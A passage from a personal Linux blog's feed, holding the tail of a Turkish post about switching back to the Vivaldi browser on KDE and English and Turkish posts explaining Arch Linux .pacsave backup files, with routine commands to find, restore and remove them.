&lt;p class="admonition-title"&gt;&amp;Idot;pucu ⚡ Kurar Kurmaz &amp;Scedil;unu Yap&amp;inodot;n: Vivaldi'yi kurduktan sonra hemen &lt;code&gt;Ayarlar &amp;gt; Gizlilik ve G&amp;uuml;venlik &amp;gt; &amp;Idot;zleyici ve Reklam Engelleme&lt;/code&gt; yoluna gidin. Varsay&amp;inodot;lan olarak 'Engelleme Yok' veya '&amp;Idot;zleyicileri Engelle' se&amp;ccedil;ili gelir. Bunu &lt;strong&gt;'&amp;Idot;zleyicileri ve Reklamlar&amp;inodot; Engelle'&lt;/strong&gt; olarak de&amp;gbreve;i&amp;scedil;tirin. D&amp;uuml;nyan&amp;inodot;z de&amp;gbreve;i&amp;scedil;ecek.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id="bir-dinozorun-itiraflar-ie-chrome-ve-eve-donus"&gt;Bir Dinozorun &amp;Idot;tiraflar&amp;inodot;: IE, Chrome ve Eve D&amp;ouml;n&amp;uuml;&amp;scedil;&lt;a class="headerlink" href="#bir-dinozorun-itiraflar-ie-chrome-ve-eve-donus" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Scedil;imdi biraz teknik detaylar&amp;inodot; b&amp;inodot;rak&amp;inodot;p ger&amp;ccedil;ek hayata d&amp;ouml;nelim.&lt;/p&gt;
&lt;p&gt;Ben internet taray&amp;inodot;c&amp;inodot;lar&amp;inodot;n&amp;inodot;n o emekleme d&amp;ouml;nemlerini, b&amp;uuml;y&amp;uuml;mesini canl&amp;inodot; canl&amp;inodot; g&amp;ouml;zlerimle g&amp;ouml;rm&amp;uuml;&amp;scedil; birisiyim. Internet Explorer denen o yarat&amp;inodot;&amp;gbreve;&amp;inodot;n kahr&amp;inodot;n&amp;inodot; &amp;ccedil;ekenler beni &amp;ccedil;ok iyi anlar. 🦖 O g&amp;uuml;nlerden sonra Google Chrome bizim i&amp;ccedil;in sadece bir taray&amp;inodot;c&amp;inodot; de&amp;gbreve;il, resmen bir nimetti, koca bir evrendi.&lt;/p&gt;
&lt;p&gt;T&amp;inodot;pk&amp;inodot; Linux da&amp;gbreve;&amp;inodot;t&amp;inodot;mlar&amp;inodot;nda "distro-hopper" (s&amp;uuml;rekli da&amp;gbreve;&amp;inodot;t&amp;inodot;m de&amp;gbreve;i&amp;scedil;tiren) olmad&amp;inodot;&amp;gbreve;&amp;inodot;m gibi, taray&amp;inodot;c&amp;inodot; konusunda da maymun i&amp;scedil;tahl&amp;inodot; olmad&amp;inodot;m. Y&amp;inodot;llarca Chrome kulland&amp;inodot;m. Evet, bazen sa&amp;ccedil;ma sapan, kullan&amp;inodot;c&amp;inodot; deneyimini baltalayan kararlar ald&amp;inodot;lar ama yine de "o kahr&amp;inodot; &amp;ccedil;eken bilir" diyerek yoluma devam ettim. Nadiren Firefox'a &amp;scedil;ans verdim ama o kadar.&lt;/p&gt;
&lt;p&gt;Peki &amp;scedil;imdi ne oldu da Vivaldi tekrar masama geldi?&lt;/p&gt;
&lt;p&gt;Ge&amp;ccedil;enlerde, sizlere daha iyi g&amp;ouml;rsellik sunabilmek ad&amp;inodot;na (her ne kadar yay&amp;inodot;n a&amp;ccedil;amasam da 😅) &lt;strong&gt;KDE&lt;/strong&gt; masa&amp;uuml;st&amp;uuml; ortam&amp;inodot;na ge&amp;ccedil;i&amp;scedil; yapt&amp;inodot;m. KDE'ye ge&amp;ccedil;memle birlikte eski dostum Vivaldi'ye de geri d&amp;ouml;nd&amp;uuml;m.&lt;/p&gt;
&lt;p&gt;Chrome olmasayd&amp;inodot; kesinlikle birinci taray&amp;inodot;c&amp;inodot;m bu olurdu. Neden mi? &amp;Ccedil;&amp;uuml;nk&amp;uuml; her &amp;scedil;eyini &amp;ouml;zelle&amp;scedil;tirebiliyorum. Minimum 15-20 sekme a&amp;ccedil;&amp;inodot;k &amp;scedil;ekilde kullan&amp;inodot;yorum ve Vivaldi bana m&amp;inodot;s&amp;inodot;n demiyor. Di&amp;gbreve;er alternatif taray&amp;inodot;c&amp;inodot;lardan &amp;ccedil;ok daha fazla seviyorum bu aleti.&lt;/p&gt;
&lt;h2 id="ama-kapal-kaynak-diyenlere-sitemim"&gt;"Ama Kapal&amp;inodot; Kaynak!" Diyenlere Sitemim&lt;a class="headerlink" href="#ama-kapal-kaynak-diyenlere-sitemim" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Gelelim &amp;scedil;u malum konuya...&lt;/p&gt;
&lt;p&gt;A&amp;ccedil;&amp;inodot;k&amp;ccedil;as&amp;inodot;, bu kadar g&amp;uuml;&amp;ccedil;l&amp;uuml; ve &amp;ouml;zelle&amp;scedil;tirilebilir bir taray&amp;inodot;c&amp;inodot;n&amp;inodot;n s&amp;inodot;rf bir k&amp;inodot;sm&amp;inodot; kapal&amp;inodot; kaynak diye kullan&amp;inodot;lmamas&amp;inodot;n&amp;inodot;, tu kaka ilan edilmesini anlam&amp;inodot;yorum. Anlam veremiyorum. 🤷&amp;zwj;&amp;male;️&lt;/p&gt;
&lt;p&gt;Burada biraz ger&amp;ccedil;ek&amp;ccedil;i olal&amp;inodot;m:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;En az&amp;inodot;ndan di&amp;gbreve;er taray&amp;inodot;c&amp;inodot;lar gibi size "privacy" (gizlilik) hikayesi sat&amp;inodot;p, arkada verilerinizi nefret etti&amp;gbreve;iniz firmalara gizli gizli satm&amp;inodot;yorlar.&lt;/li&gt;
&lt;li&gt;O en sevdi&amp;gbreve;iniz, yere g&amp;ouml;&amp;gbreve;e s&amp;inodot;&amp;gbreve;d&amp;inodot;r&amp;inodot;lamayan Firefox'un bile ge&amp;ccedil;mi&amp;scedil;te neler kar&amp;inodot;&amp;scedil;t&amp;inodot;rd&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; g&amp;ouml;rd&amp;uuml;k. Bu "FOSS'cu abilere" daha &amp;ouml;nce de s&amp;ouml;yledik ama dinletemedik.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bir &amp;scedil;eyin a&amp;ccedil;&amp;inodot;k kaynak olmas&amp;inodot;, kontrol&amp;uuml;n tamamen sizde oldu&amp;gbreve;u anlam&amp;inodot;na gelmez.&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Benim i&amp;ccedil;in Vivaldi; d&amp;uuml;r&amp;uuml;stl&amp;uuml;&amp;gbreve;&amp;uuml;, &amp;ouml;zelle&amp;scedil;tirilebilirli&amp;gbreve;i ve KDE ile olan uyumuyla &amp;scedil;u anl&amp;inodot;k kazanan tarafta. 😎&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Bu, FOSS (&amp;Ouml;zg&amp;uuml;r ve A&amp;ccedil;&amp;inodot;k Kaynak Kodlu Yaz&amp;inodot;l&amp;inodot;m) toplulu&amp;gbreve;unda en &amp;ccedil;ok tart&amp;inodot;&amp;scedil;&amp;inodot;lan konu. Chromium temeli a&amp;ccedil;&amp;inodot;k kaynak, ama o g&amp;uuml;zel aray&amp;uuml;z... de&amp;gbreve;il.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Linux"/><category term="vivaldi"/><category term="linux"/><category term="tarayıcı"/><category term="gizlilik"/><category term="kde"/><category term="performans"/></entry><entry><title>What are .pacsave Files in Arch Linux? (Safe Usage)</title><link href="https://yuceltoluyag.github.io/en/arch-linux-pacsave-dosyalari/" rel="alternate"/><published>2025-11-15T17:13:00+03:00</published><updated>2025-11-15T17:13:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-15:/en/arch-linux-pacsave-dosyalari/</id><summary type="html">&lt;p&gt;What are .pacsave files in Arch Linux? I explain why your settings aren't deleted when you remove a package and how to safely manage these backups.&lt;/p&gt;</summary><content type="html">&lt;p&gt;In a previous post, we talked about how much of a headache &lt;code&gt;.pacnew&lt;/code&gt; files can be, right? Those files usually scream, "Watch out, new settings are here!" But what about these &lt;code&gt;.pacsave&lt;/code&gt; files? They appear in the opposite situation and are usually a good thing.&lt;/p&gt;
&lt;p&gt;You remove a package, and then you lament, "Oh no, all my settings are gone!" Well, &lt;code&gt;.pacsave&lt;/code&gt; is Pacman's little safety net in Arch Linux that saves you from this situation. These files are closely related to &lt;code&gt;.pacnew&lt;/code&gt;, but they appear in a completely opposite scenario.&lt;/p&gt;
&lt;h2 id="what-exactly-is-a-pacsave-file"&gt;What Exactly is a .pacsave File?&lt;a class="headerlink" href="#what-exactly-is-a-pacsave-file" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;In short, a &lt;code&gt;.pacsave&lt;/code&gt; file is Pacman's method of backing up &lt;em&gt;modified&lt;/em&gt; configuration files belonging to a package &lt;strong&gt;when you remove it&lt;/strong&gt;, instead of throwing them away. This is Pacman's way of saying, "Trust me, you'll need this."&lt;/p&gt;
&lt;p&gt;Let's go through an example:&lt;/p&gt;
&lt;p&gt;Suppose you installed &lt;code&gt;apache&lt;/code&gt; and meticulously edited the &lt;code&gt;/etc/httpd/conf/httpd.conf&lt;/code&gt; file. Then one day you decide to remove &lt;code&gt;apache&lt;/code&gt;: &lt;code&gt;sudo pacman -R apache&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Pacman looks at that file and says, "Wow, this person modified this." Instead of deleting it, it renames it like this:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/etc/httpd/conf/httpd.conf.pacsave&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This file contains your old, valuable configuration. But what if you hadn't touched that file at all, meaning you left it as is? Then Pacman would say, "This is already standard, let it go to trash," and delete it. 🚮&lt;/p&gt;
&lt;h2 id="why-does-pacman-create-pacsave-files"&gt;Why Does Pacman Create .pacsave Files?&lt;a class="headerlink" href="#why-does-pacman-create-pacsave-files" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Pacman's job is to keep the system consistent, yes, but also to protect your work. Configuration files often contain personal or system-specific changes.&lt;/p&gt;
&lt;p&gt;When removing a package, it asks itself a simple question: "Has this config file been touched?"&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If the answer is &lt;strong&gt;'No'&lt;/strong&gt;? It deletes it.&lt;/li&gt;
&lt;li&gt;If the answer is &lt;strong&gt;'Yes'&lt;/strong&gt;? It creates a &lt;code&gt;.pacsave&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It's that simple. This logic prevents you from losing valuable settings when you temporarily remove software. Even with commands like &lt;code&gt;pacman -Rns&lt;/code&gt;, which clean up no-longer-needed dependencies, Pacman protects your modified files as &lt;code&gt;.pacsave&lt;/code&gt; for safety.&lt;/p&gt;
&lt;h2 id="how-do-i-find-all-pacsave-files-on-my-system"&gt;How Do I Find All .pacsave Files on My System?&lt;a class="headerlink" href="#how-do-i-find-all-pacsave-files-on-my-system" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;So, is my system full of these 'safety net' files? It's very easy to find out.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;find&lt;/code&gt; command is the classic way to do this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;find&lt;span class="w"&gt; &lt;/span&gt;/etc&lt;span class="w"&gt; &lt;/span&gt;-type&lt;span class="w"&gt; &lt;/span&gt;f&lt;span class="w"&gt; &lt;/span&gt;-name&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"*.pacsave"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;But if you're a bit more 'organized' 🤓 like me, who wants to manage both &lt;code&gt;.pacnew&lt;/code&gt; and &lt;code&gt;.pacsave&lt;/code&gt; from one place, I recommend installing the &lt;code&gt;pacman-contrib&lt;/code&gt; package.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;pacman&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;pacman-contrib
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Once this package is installed, all you need to type in the terminal is:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;pacdiff
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This great tool shows you both new configuration files (&lt;code&gt;.pacnew&lt;/code&gt;) and these backed-up old files (&lt;code&gt;.pacsave&lt;/code&gt;) in a single interface, perfectly.&lt;/p&gt;
&lt;h2 id="restoring-old-settings-guide"&gt;Restoring Old Settings (Guide)&lt;a class="headerlink" href="#restoring-old-settings-guide" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Let's say you reinstalled &lt;code&gt;apache&lt;/code&gt; and thought, "Oh, where were my old settings?" To restore a &lt;code&gt;.pacsave&lt;/code&gt; file, you just need to rename it.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;mv&lt;span class="w"&gt; &lt;/span&gt;/etc/httpd/conf/httpd.conf.pacsave&lt;span class="w"&gt; &lt;/span&gt;/etc/httpd/conf/httpd.conf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Of course, after bringing the file back, don't forget to restart the relevant service:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;restart&lt;span class="w"&gt; &lt;/span&gt;httpd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;That's it. Your old settings are back in seconds.&lt;/p&gt;
&lt;h2 id="when-should-i-delete-pacsave-files"&gt;When Should I Delete .pacsave Files?&lt;a class="headerlink" href="#when-should-i-delete-pacsave-files" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This is important.&lt;/p&gt;
&lt;div class="admonition danger"&gt;
&lt;p class="admonition-title"&gt;Critical Warning 🛑 Think twice before deleting a &lt;code&gt;.pacsave&lt;/code&gt; file. You can safely delete it only in these situations:&lt;/p&gt;
&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;If you are sure you will &lt;em&gt;never&lt;/em&gt; install that package again.&lt;/li&gt;
&lt;li&gt;If you looked inside the file (with &lt;code&gt;cat&lt;/code&gt; or &lt;code&gt;nano&lt;/code&gt;) and said, 'There's nothing important here.'&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you are sure, the delete command is simple:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;rm&lt;span class="w"&gt; &lt;/span&gt;/etc/httpd/conf/httpd.conf.pacsave
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I usually move them to a place like &lt;code&gt;~/backups/&lt;/code&gt; instead of deleting them. Just in case... I guess I'm a bit of a hoarder. 😅&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;mv&lt;span class="w"&gt; &lt;/span&gt;/etc/httpd/conf/httpd.conf.pacsave&lt;span class="w"&gt; &lt;/span&gt;~/backups/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="quick-qa-confusion-reducer"&gt;Quick Q&amp;amp;A (Confusion Reducer)&lt;a class="headerlink" href="#quick-qa-confusion-reducer" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Let's quickly answer a few classic questions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Q: What's the difference between &lt;code&gt;.pacnew&lt;/code&gt; and &lt;code&gt;.pacsave&lt;/code&gt;?&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;A:&lt;/strong&gt; &lt;code&gt;.pacnew&lt;/code&gt; comes during an &lt;strong&gt;update&lt;/strong&gt; (System: "Look, this is the config file for the new version, different from yours"). &lt;code&gt;.pacsave&lt;/code&gt; comes during a &lt;strong&gt;removal&lt;/strong&gt; (System: "You modified this file, I'm deleting it but here's a backup").&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Q: Can I delete &lt;code&gt;.pacsave&lt;/code&gt; files immediately?&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;C:&lt;/strong&gt; You can, but don't. Take a look inside. Maybe you'll reinstall that package in 3 months and need those settings.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Q: Does every package create a &lt;code&gt;.pacsave&lt;/code&gt;?&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;C:&lt;/strong&gt; No. It only occurs when packages that (1) contain a configuration file AND (2) you have modified that file are removed.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Q: How do I manage both?&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;C:&lt;/strong&gt; Install &lt;code&gt;pacman-contrib&lt;/code&gt; and use &lt;code&gt;sudo pacdiff&lt;/code&gt;. It makes your life easier.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="the-bottom-line"&gt;The Bottom Line...&lt;a class="headerlink" href="#the-bottom-line" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;In short, &lt;code&gt;.pacsave&lt;/code&gt; files are one of Pacman's smartest features. They are a safety net 🕸️ for you. Running a &lt;code&gt;pacdiff&lt;/code&gt; command (or &lt;code&gt;find&lt;/code&gt; command) after every package removal and taking a look at these files keeps your &lt;code&gt;/etc&lt;/code&gt; directory clean and ensures you don't lose valuable configurations.&lt;/p&gt;</content><category term="Linux"/><category term="pacsave"/><category term="pacman"/><category term="arch linux"/><category term="sorun giderme"/></entry><entry><title>Arch Linux'ta .pacsave Dosyaları Nedir? (Güvenli Kullanım)</title><link href="https://yuceltoluyag.github.io/arch-linux-pacsave-dosyalari/" rel="alternate"/><published>2025-11-15T17:13:00+03:00</published><updated>2025-11-15T17:13:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-15:/arch-linux-pacsave-dosyalari/</id><summary type="html">&lt;p&gt;Arch Linux'te .pacsave dosyaları nedir? Bir paketi kaldırınca ayarlarınızın neden silinmediğini ve bu yedekleri nasıl güvenle yöneteceğinizi anlatıyorum.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Daha &amp;ouml;nceki bir yaz&amp;inodot;da &lt;code&gt;.pacnew&lt;/code&gt; dosyalar&amp;inodot;n&amp;inodot;n ne kadar ba&amp;scedil; a&amp;gbreve;r&amp;inodot;tabilece&amp;gbreve;ini konu&amp;scedil;mu&amp;scedil;tuk, de&amp;gbreve;il mi? O dosyalar genelde "Dikkat et, yeni ayar geldi" diye ba&amp;gbreve;&amp;inodot;r&amp;inodot;r. Ama bu &lt;code&gt;.pacsave&lt;/code&gt; dosyalar&amp;inodot;? Onlar tam tersi bir durumda ortaya &amp;ccedil;&amp;inodot;k&amp;inodot;yor ve genelde iyi ki oradalar.&lt;/p&gt;
&lt;p&gt;Bir paketi kald&amp;inodot;r&amp;inodot;yorsun, sonra "T&amp;uuml;h, b&amp;uuml;t&amp;uuml;n ayarlar&amp;inodot;m gitti!" diye hay&amp;inodot;flan&amp;inodot;yorsun. &amp;Idot;&amp;scedil;te &lt;code&gt;.pacsave&lt;/code&gt;, Arch Linux'te Pacman'in seni bu durumdan kurtaran k&amp;uuml;&amp;ccedil;&amp;uuml;k sigortas&amp;inodot;d&amp;inodot;r. Bu dosyalar, &lt;code&gt;.pacnew&lt;/code&gt; ile &amp;ccedil;ok yak&amp;inodot;ndan ili&amp;scedil;kili, ama tamamen z&amp;inodot;t bir senaryoda beliriyorlar.&lt;/p&gt;
&lt;h2 id="pacsave-dosyas-tam-olarak-nedir"&gt;.pacsave Dosyas&amp;inodot; Tam Olarak Nedir?&lt;a class="headerlink" href="#pacsave-dosyas-tam-olarak-nedir" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;K&amp;inodot;sacas&amp;inodot;, &lt;code&gt;.pacsave&lt;/code&gt; dosyas&amp;inodot;, sen bir paketi &lt;strong&gt;kald&amp;inodot;rd&amp;inodot;&amp;gbreve;&amp;inodot;nda&lt;/strong&gt;, Pacman'in o pakete ait &lt;em&gt;de&amp;gbreve;i&amp;scedil;tirilmi&amp;scedil;&lt;/em&gt; yap&amp;inodot;land&amp;inodot;rma dosyalar&amp;inodot;n&amp;inodot; &amp;ccedil;&amp;ouml;pe atmak yerine yedekleme y&amp;ouml;ntemidir. Bu, Pacman'in "Emin ol, bu sana laz&amp;inodot;m olur" deme &amp;scedil;ekli.&lt;/p&gt;
&lt;p&gt;Bir &amp;ouml;rnek &amp;uuml;zerinden gidelim:&lt;/p&gt;
&lt;p&gt;Diyelim ki &lt;code&gt;apache&lt;/code&gt; kurdun ve &lt;code&gt;/etc/httpd/conf/httpd.conf&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot; binbir emekle d&amp;uuml;zenledin. Sonra bir g&amp;uuml;n &lt;code&gt;apache&lt;/code&gt;'yi kald&amp;inodot;rmaya karar verdin: &lt;code&gt;sudo pacman -R apache&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Pacman o dosyaya bakar ve "Vay, bu adam bunu de&amp;gbreve;i&amp;scedil;tirmi&amp;scedil;" der. Onu silmek yerine, ad&amp;inodot;n&amp;inodot; &amp;scedil;&amp;ouml;yle de&amp;gbreve;i&amp;scedil;tirir:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/etc/httpd/conf/httpd.conf.pacsave&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;Idot;&amp;scedil;te bu dosya, senin o eski, de&amp;gbreve;erli yap&amp;inodot;land&amp;inodot;rman&amp;inodot; i&amp;ccedil;erir. Peki ya o dosyaya hi&amp;ccedil; dokunmasayd&amp;inodot;n, yani oldu&amp;gbreve;u gibi b&amp;inodot;raksayd&amp;inodot;n? O zaman Pacman "Bu zaten standart, &amp;ccedil;&amp;ouml;pe gitsin" der ve silerdi. 🚮&lt;/p&gt;
&lt;h2 id="pacman-neden-pacsave-olusturuyor"&gt;Pacman Neden .pacsave Olu&amp;scedil;turuyor?&lt;a class="headerlink" href="#pacman-neden-pacsave-olusturuyor" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Pacman'in i&amp;scedil;i sistemi tutarl&amp;inodot; tutmak, evet, ama ayn&amp;inodot; zamanda senin eme&amp;gbreve;ini de korumak. Yap&amp;inodot;land&amp;inodot;rma dosyalar&amp;inodot; genellikle ki&amp;scedil;isel veya sisteme &amp;ouml;zel de&amp;gbreve;i&amp;scedil;iklikler i&amp;ccedil;erir.&lt;/p&gt;
&lt;p&gt;Bir paketi kald&amp;inodot;r&amp;inodot;rken kendine &amp;scedil;u basit soruyu sorar: "Bu config dosyas&amp;inodot;na dokunulmu&amp;scedil; mu?"&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cevap &lt;strong&gt;'Hay&amp;inodot;r'&lt;/strong&gt; ise? Siler.&lt;/li&gt;
&lt;li&gt;Cevap &lt;strong&gt;'Evet'&lt;/strong&gt; ise? &lt;code&gt;.pacsave&lt;/code&gt; yapar.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bu kadar basit. Bu mant&amp;inodot;k, yaz&amp;inodot;l&amp;inodot;m&amp;inodot; ge&amp;ccedil;ici olarak kald&amp;inodot;rd&amp;inodot;&amp;gbreve;&amp;inodot;nda de&amp;gbreve;erli ayarlar&amp;inodot;n&amp;inodot; kaybetmeni engeller. &lt;code&gt;pacman -Rns&lt;/code&gt; gibi komutlarla, yani art&amp;inodot;k ihtiya&amp;ccedil; duyulmayan ba&amp;gbreve;&amp;inodot;ml&amp;inodot;l&amp;inodot;klar&amp;inodot; temizlerken bile, Pacman de&amp;gbreve;i&amp;scedil;tirilmi&amp;scedil; dosyalar&amp;inodot;n&amp;inodot; g&amp;uuml;venlik i&amp;ccedil;in &lt;code&gt;.pacsave&lt;/code&gt; olarak korur.&lt;/p&gt;
&lt;h2 id="sistemimdeki-tum-pacsave-dosyalarn-nasl-bulurum"&gt;Sistemimdeki T&amp;uuml;m .pacsave Dosyalar&amp;inodot;n&amp;inodot; Nas&amp;inodot;l Bulurum?&lt;a class="headerlink" href="#sistemimdeki-tum-pacsave-dosyalarn-nasl-bulurum" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Peki, sistemim bu 'sigorta' dosyalar&amp;inodot;yla doldu mu? Bunu &amp;ouml;&amp;gbreve;renmek &amp;ccedil;ok kolay.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;find&lt;/code&gt; komutu bu i&amp;scedil;in klasik yoludur:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;find&lt;span class="w"&gt; &lt;/span&gt;/etc&lt;span class="w"&gt; &lt;/span&gt;-type&lt;span class="w"&gt; &lt;/span&gt;f&lt;span class="w"&gt; &lt;/span&gt;-name&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"*.pacsave"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ama benim gibi hem &lt;code&gt;.pacnew&lt;/code&gt; hem de &lt;code&gt;.pacsave&lt;/code&gt;'leri tek yerden y&amp;ouml;netmek isteyen biraz daha 'd&amp;uuml;zenli' 🤓 biriysen, &lt;code&gt;pacman-contrib&lt;/code&gt; paketini kurman&amp;inodot; tavsiye ederim.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;pacman&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;pacman-contrib
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bu paket kurulduktan sonra, terminale sadece &amp;scedil;unu yazman yeterli:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;pacdiff
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bu harika ara&amp;ccedil;, sana hem yeni yap&amp;inodot;land&amp;inodot;rma dosyalar&amp;inodot;n&amp;inodot; (&lt;code&gt;.pacnew&lt;/code&gt;) hem de bu yedeklenmi&amp;scedil; eski dosyalar&amp;inodot; (&lt;code&gt;.pacsave&lt;/code&gt;) tek bir aray&amp;uuml;zde g&amp;ouml;sterir, mis gibi.&lt;/p&gt;
&lt;h2 id="eski-ayarlar-geri-yukleme-rehber"&gt;Eski Ayarlar&amp;inodot; Geri Y&amp;uuml;kleme (Rehber)&lt;a class="headerlink" href="#eski-ayarlar-geri-yukleme-rehber" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Diyelim ki o &lt;code&gt;apache&lt;/code&gt;'yi geri y&amp;uuml;kledin ve "Ah, benim eski ayarlar&amp;inodot;m neredeydi?" dedin. &lt;code&gt;.pacsave&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot; geri y&amp;uuml;klemek i&amp;ccedil;in onu yeniden adland&amp;inodot;rman yeterli.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;mv&lt;span class="w"&gt; &lt;/span&gt;/etc/httpd/conf/httpd.conf.pacsave&lt;span class="w"&gt; &lt;/span&gt;/etc/httpd/conf/httpd.conf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Tabii, dosyay&amp;inodot; geri getirdikten sonra ilgili servisi yeniden ba&amp;scedil;latmay&amp;inodot; unutma:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;restart&lt;span class="w"&gt; &lt;/span&gt;httpd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
